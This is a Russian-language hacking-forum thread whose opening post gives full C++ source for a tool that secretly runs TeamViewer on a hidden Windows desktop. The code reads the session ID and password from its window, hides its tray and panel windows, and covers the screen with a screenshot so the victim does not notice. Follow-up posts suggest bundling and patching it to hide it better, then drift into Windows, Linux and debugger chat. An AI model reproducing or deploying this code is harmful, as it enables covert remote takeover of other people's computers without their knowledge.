скрытый запуск teamviewer - отсосите, разрабы TV

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by sn0w, 8 Sep 2019.

  1. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    напилил вот такой вот эксплойт:

    Code:
    #include <windows.h>
    #include <tlhelp32.h>
    
    
    #define TV_DESKTOP_NAME       TEXT("MyNewTVDesktop")   
    #define FAKEWND_CLASS       TEXT("vsfldlxcalm")
    
    // RawSize == 0; .bss
    static TCHAR g_login_fields[2][256];
    static HWND   g_mainTVwnd;
    static HBITMAP g_fakeScreen;
    
    
    static void my_exit(UINT code, LPCTSTR reason = NULL)
    {
       if(reason)
           OutputDebugString(reason);
       
       ExitProcess(code) ;
    }
    
    
    static LRESULT CALLBACK FakeWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
       int wmId, wmEvent;
    
       switch (message)
       {
       case WM_PAINT:
           PAINTSTRUCT     ps;
           HDC             hdc;
           BITMAP          bitmap;
           HDC             hdcMem;
           HGDIOBJ         oldBitmap;
    
           hdc = BeginPaint(hWnd, &ps);
    
           hdcMem = CreateCompatibleDC(hdc);
           oldBitmap = SelectObject(hdcMem, g_fakeScreen);
    
           GetObject(g_fakeScreen, sizeof(bitmap), &bitmap);
           BitBlt(hdc, 0, 0, bitmap.bmWidth, bitmap.bmHeight, hdcMem, 0, 0, SRCCOPY);
    
           SelectObject(hdcMem, oldBitmap);
           DeleteDC(hdcMem);
    
           EndPaint(hWnd, &ps);
           return 0;
       }
    
       return DefWindowProc(hWnd, message, wParam, lParam);
    }
    
    
    static DWORD WINAPI MakeFullscreenFakeWnd(LPVOID desk)
    {
       SetThreadDesktop((HDESK)desk);
    
       WNDCLASSEX wcex;
    
       wcex.cbSize = sizeof(WNDCLASSEX);
    
       wcex.style           = CS_HREDRAW | CS_VREDRAW;
       wcex.lpfnWndProc   = FakeWndProc;
       wcex.cbClsExtra       = 0;
       wcex.cbWndExtra       = 0;
       wcex.hInstance       = GetModuleHandle(0);
       wcex.hIcon           = NULL;   //LoadIcon(hInstance, MAKEINTRESOURCE(IDI_FULL_SCREEN));
       wcex.hCursor       = LoadCursor(NULL, IDC_ARROW);
       wcex.hbrBackground   = (HBRUSH)(COLOR_WINDOW+1);
       wcex.lpszMenuName   = NULL;   //MAKEINTRESOURCE(IDC_FULL_SCREEN);
       wcex.lpszClassName   = FAKEWND_CLASS;
       wcex.hIconSm       = NULL;   //LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
    
       RegisterClassEx(&wcex);
    
       HWND hWnd;
       hWnd = CreateWindow(FAKEWND_CLASS, NULL, WS_POPUP,  0, 0, GetSystemMetrics(SM_CXSCREEN),
                           GetSystemMetrics(SM_CYSCREEN),  NULL, NULL, GetModuleHandle(0), NULL);
    
       ShowWindow(hWnd, SW_SHOWMAXIMIZED);
       SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
       UpdateWindow(hWnd);
    
       MSG msg;
    
       while(GetMessage(&msg, hWnd, 0, 0))
           DispatchMessage(&msg);
    
       ExitThread(0);
    }
    
    
    static HBITMAP GetScreenshotHBitmap()
    {
       HDC hScreenDC = CreateDC(TEXT("DISPLAY"), NULL, NULL, NULL);     
       HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
    
       int width = GetDeviceCaps(hScreenDC, HORZRES);
       int height = GetDeviceCaps(hScreenDC, VERTRES);
    
       HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, width, height);
       HBITMAP hOldBitmap = (HBITMAP) SelectObject(hMemoryDC, hBitmap);
    
       BitBlt(hMemoryDC, 0, 0, width, height, hScreenDC, 0, 0, SRCCOPY);
       hBitmap = (HBITMAP) SelectObject(hMemoryDC, hOldBitmap);
    
       DeleteDC(hMemoryDC);
       DeleteDC(hScreenDC);
    
       return hBitmap;
    }
    
    
    static BOOL CALLBACK DumpLogonFields(_In_ HWND   hwnd, _In_ LPARAM lParam)
    {
       TCHAR str[256];
       GetClassName(hwnd, str, sizeof(str));
    
       if (!lstrcmp(str, TEXT("Edit")))
       {
           static size_t filled_up(0);
    
           if (filled_up > 1)
               return FALSE;
    
           while (SendMessage(hwnd, WM_GETTEXTLENGTH, 0, 0) < 3)
               Sleep(10);
    
           SendMessage(hwnd, WM_GETTEXT, 256, (LPARAM)g_login_fields[filled_up]);
           ++filled_up;
       }
       
       return TRUE;
    }
    
    
    static BOOL CALLBACK DumpChildWindows(_In_ HWND hwnd, _In_ LPARAM lParam)
    {
       TCHAR str[256];
       GetClassName(hwnd, str, sizeof(str));
    
       if (!lstrcmp(str, TEXT("CustomRunner")))
           EnumChildWindows(hwnd, DumpLogonFields, 0);
    
       return TRUE;
    }
    
    
    static BOOL CALLBACK DumpThreadWindows(_In_ HWND   hwnd, _In_ LPARAM lParam)
    {
       EnumChildWindows(hwnd, DumpChildWindows, 0);
       return TRUE;
    }
    
    
    extern "C" void WinMainCRTStartup()
    {
       HDESK tvDesk, originalDesk;
       
       originalDesk = GetThreadDesktop(GetCurrentThreadId());
       tvDesk = CreateDesktop(TV_DESKTOP_NAME, NULL, NULL, DF_ALLOWOTHERACCOUNTHOOK, GENERIC_ALL, NULL); // DESKTOP_CREATEWINDOW | DELETE - not worx
    
       SetThreadDesktop(tvDesk);
    
       STARTUPINFO            si{sizeof(STARTUPINFO), NULL, TV_DESKTOP_NAME};
       PROCESS_INFORMATION       pi;
       TCHAR                   tv_cmdpath[MAX_PATH], userinit_path[MAX_PATH];
    
        ExpandEnvironmentStrings(TEXT("%windir%\\system32\\userinit.exe"), userinit_path, MAX_PATH-1);
       if (!CreateProcess(userinit_path, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
           OutputDebugString(TEXT("Shell is not spawned!"));
       WaitForSingleObject(pi.hThread, INFINITE);
    
       GetTempPath(sizeof(tv_cmdpath), tv_cmdpath);
       lstrcat(tv_cmdpath, TEXT("TeamViewer\\TeamViewer.exe  --noInstallation --dre"));
    
       if (!CreateProcess(NULL, tv_cmdpath, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
           my_exit(1, TEXT("No TV dir in appdata/local/temp detected! exiting."));
    
       while(1)   // wait for TV window appeared on the new desktop (dont go back by SetThreadDesktop)
       {
           if(NULL != (g_mainTVwnd = FindWindow(NULL, TEXT("TeamViewer"))))
               break;
           
           Sleep(1000);
       }
    
       THREADENTRY32 trd_e{sizeof(trd_e)};
       HANDLE thr_list(CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0));
    
       if (INVALID_HANDLE_VALUE == thr_list)
           my_exit(2, TEXT("cant retrieve thread list snap!"));
    
       Thread32First(thr_list, &trd_e);
       
       do
       {
           if (trd_e.th32OwnerProcessID == pi.dwProcessId)
           {
               EnumThreadWindows(trd_e.th32ThreadID, DumpThreadWindows, 0);
           }
           
       } while (Thread32Next(thr_list, &trd_e) && !g_login_fields[1][0]); // wait until second field will be filled up
       
       CloseHandle(thr_list);
       SetThreadDesktop(originalDesk);   // go back to source desktop and report
       CloseHandle(tvDesk);
    
       TCHAR szReport[128];
       wsprintf(szReport, TEXT("TeamViewer logon window dumped:\nid:\t%s\nkey:\t%s\n\nHit ok to switch desktop"),
                   g_login_fields[0], g_login_fields[1]);
    
       MessageBox(0, szReport, TEXT("remote access test"), 0);
       
       //
       // remote control video stream wouldnt start until desktop isnt AN ACTIVE
       //
       // 'blink' exploit:
       //
       do
       {
           HWND hwndTray, tray_panel_wnd;
    
           g_fakeScreen = GetScreenshotHBitmap(); // get from host desk
           
           SetThreadDesktop(tvDesk);
           
           if(FindWindow(TEXT("TrayNotificationBaseView"), TEXT("TV tray notification")))
               break; // file transfer mode
           
           CloseHandle(CreateThread(NULL, 0, MakeFullscreenFakeWnd, (LPVOID)tvDesk, 0, NULL));
    
           hwndTray = FindWindow(TEXT("Shell_TrayWnd"), NULL );
           tray_panel_wnd = FindWindow(TEXT("TV_ControlWin"), TEXT("TeamViewer Panel"));
                   
           ShowWindow(hwndTray, SW_HIDE);
           MoveWindow(tray_panel_wnd, 5000, 5000, 200, 200, TRUE);   
           MoveWindow(g_mainTVwnd, 5000, 5000, 200, 200, TRUE);   
           SendMessage(hwndTray, WM_COMMAND, (WPARAM)419, 0 );       
           
           SwitchDesktop(tvDesk);
           Sleep(1000);
           // trigger it
           SwitchDesktop(originalDesk);
       }while(0);
           
       
       my_exit(0);           
    }
    
     
    Pernat1y likes this.
  2. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    весь инпут теперь сковозит сквозь пальцы. тв теперь думает что он в другом десктопе. вуаля. без рекламы и прочих хреней об увеличении пениса
     
    #2 sn0w, 8 Sep 2019
    Last edited: 8 Sep 2019
  3. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,107
    Likes Received:
    8,478
    Reputations:
    25
    1. Неплохо бы TV запаковать в ресурсы чтобы не таскать с собой 2 exe-шника.
    2. Еще лучше ИМХО пропатчить его статически чтобы он своими окнами и иконками в трее сильно не мелькал.
    3. Если я правильно понял в списке процессов он все-равно остается.

    Но все-равно Снег кросавчег :)

    UPD: теперь все люди, которые хотели-бы увеличить себе пенис останутся без этой замечательной рекламы и пенис у них не вырастет. Очень несправедливо по отношению к ним.
     
    sn0w likes this.
  4. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    ты совсем наркоман? дело в том чтобы никаким образом не тронуть процесс, ни удалёнными инжектами - ничем вообще. и вот я и запилил такое обдуривание с триггером когда тв перестанет читать активный десктоп и зачитает, омг - активный десктоп.
    без всяких фекалий типа хуков итд, правда издержка на фото экрана, но юзверь примет как данное ) ??? - PROFIT!)
     
  5. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,107
    Likes Received:
    8,478
    Reputations:
    25
    Оу. Пардоньтес токда :)
     
    sn0w likes this.
  6. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    ну чо, попробовал, работает?)) я говна не подсуну, бро.
    только не пасть сий сплоит от своего имени на других сайтах. ачат зе бест!
     
  7. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,107
    Likes Received:
    8,478
    Reputations:
    25
    Мне не на чем же. Нету у меня Венды и пока что не ставлю. Закрепляюсь на Линухе потихоньку :)
     
  8. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,107
    Likes Received:
    8,478
    Reputations:
    25
    Да должно работать. То я прост. по диагонали посмотрел и что-то там себе представил :)
    SetThreadDesktop - вообще не заметил :)
     
  9. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    да скомпиль и затести, это реально работает. и будешь в ахуе, от того, насколько это тупо, но ....работает :)
     
  10. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,107
    Likes Received:
    8,478
    Reputations:
    25
    Да я верю :) Но под Линух компилить не получится. Надо еще покурить как работать с wine а Венды реально нет.

    Не хочу ставить чтоб не повадно было. Стараюсь выкручиваться через VIM и вроде-как уже не так бесит. Но это пока все работает и нужно изменять только VM. Когда придет время править код... не знаю что буду делать :) Может тогда придется Венду ставить а мож. успею перейти. Х/з.
     
  11. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,107
    Likes Received:
    8,478
    Reputations:
    25
    Sleep(1000) разве что смущает но в принципе да, пользователь не заметит.
     
  12. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    это смущать не должно - какраз в за это время система переносит ввод-вывод и активный десктоп, который уже захвачен тимвивером, и по сути он не видит ничего продолжая рабодать на другом hdc, но на реальном столе, лол)
     
    DartPhoenix likes this.
  13. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,107
    Likes Received:
    8,478
    Reputations:
    25
    Фокусы Венды вконец достали. Я должен в своей операционной системе хукать сеть чтобы запретить обновления ? А не пошли-бы они нахер...
    Пусть обновляют кого-нибудь другого. Венда отныне будет исключительно платформой для игрушек и издевательств. А работать буду в Линухе.

    Вот сейчас у меня винт даже и не думает моргать своей лампочкой а сеть - пуста. Ничего никуда не передается. Тихо и приятно. А если внезапно винт начнет шуршать - я через тот же htop без всяких шаманских бубнов узнаю кто это делает. В Венде о таком мечтать не приходится.
     
  14. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    просто файрвол настрой, и никакие лишние пакеты лезть не будут, а политика входящего - что явно не разрешено - то запрещено.
    я вот тоже думал что винда - хуйня из под ногтей - а когда начал разбираться - то понял что всё гениально - а это я долбоёб что инструкцию не прочитал) таки дела, зато боевую машину настроил так что и следа не оставит - проверено MiM мониторингом))
    файрвол винды - мощнейшая штука, просто он запилен не хуман-лайк-вью, поэтому на него и забивают зачастую))
     
    оlbaneс likes this.
  15. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,107
    Likes Received:
    8,478
    Reputations:
    25
    Я раньше и закрывал фаером. У меня в сеть смотрел Линух и через него я уже всю херню фильтровал через iptables. Но какбэ тут вопрос принципа. ОСь явно предназначена не для пользователя а для автора. Делает сука что хочет. Она решает когда мне перезагрузиться, решает какие очень нужные программы должны у меня быть. Решает что мои данные она может невозбранно брать и их использовать. Что еще ? Спасибо им может надо сказать за то что дают мне чем-то попользоваться иногда, в свободное от шпионских занятий время ? :)
     
  16. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    ну с такимже успехом я например смотрел на ollydbg - всё заебись всё визуально, а потом ширнулся мануалами и windbgом, и знаешь - мне понравилось. да, есть определённая граница типа лени - а нахуй мне этот синтаксис изучать, когда вот тут в отладчике все видно и понятно - но прикол приходит с осознанием. в ключевых моментах, скажем на экзепшенах ты уже знаешь что делать, как посмотреть стек итд, это какбы уже подменяет всё то что тебе давали окошки, и ты вполне оперативно можешь проанализировать ситуацию. это классно - стоит просто попробовать. это как лсд - попробовав раз - больше назад к гуёвым дебаггерам не вернешься))
     
  17. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,107
    Likes Received:
    8,478
    Reputations:
    25
    Не. Я Olly за скрипты больше уважаю. Ты просто в процессе пилишь скрипт и если внезапно проскочил нужное место - то просто дописываешь к скрипту новый бряк и запускаешь на исполнение.
    Хотел еще Immunity заюзать, но вот не знаю что теперь из-под Ляликса делать. Тут с отладчиками все не очень клево. Вернее очень не клево :)
     
  18. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    я сперва реально удивлялся - как это можно вообще существовать в рамках того же кд или софтайса - да никак, если нихуя не понимаешь) а оля или переполненный багами х86/64dbg - вполне) но это коэшн, отдельная тематика)
     
    DartPhoenix likes this.
  19. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    оля начала 64 разрядный интелокод дебажить?) ууу не знал)
     
  20. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,107
    Likes Received:
    8,478
    Reputations:
    25
    И кстати да. Из-под WinDBG ты не можешь поставить хук одной командой а в Ольке - пожалста. Выбрал пустое место, запилил туда код подмены и одной командой поставил jmp на свой код и jmp обратно. Удобно.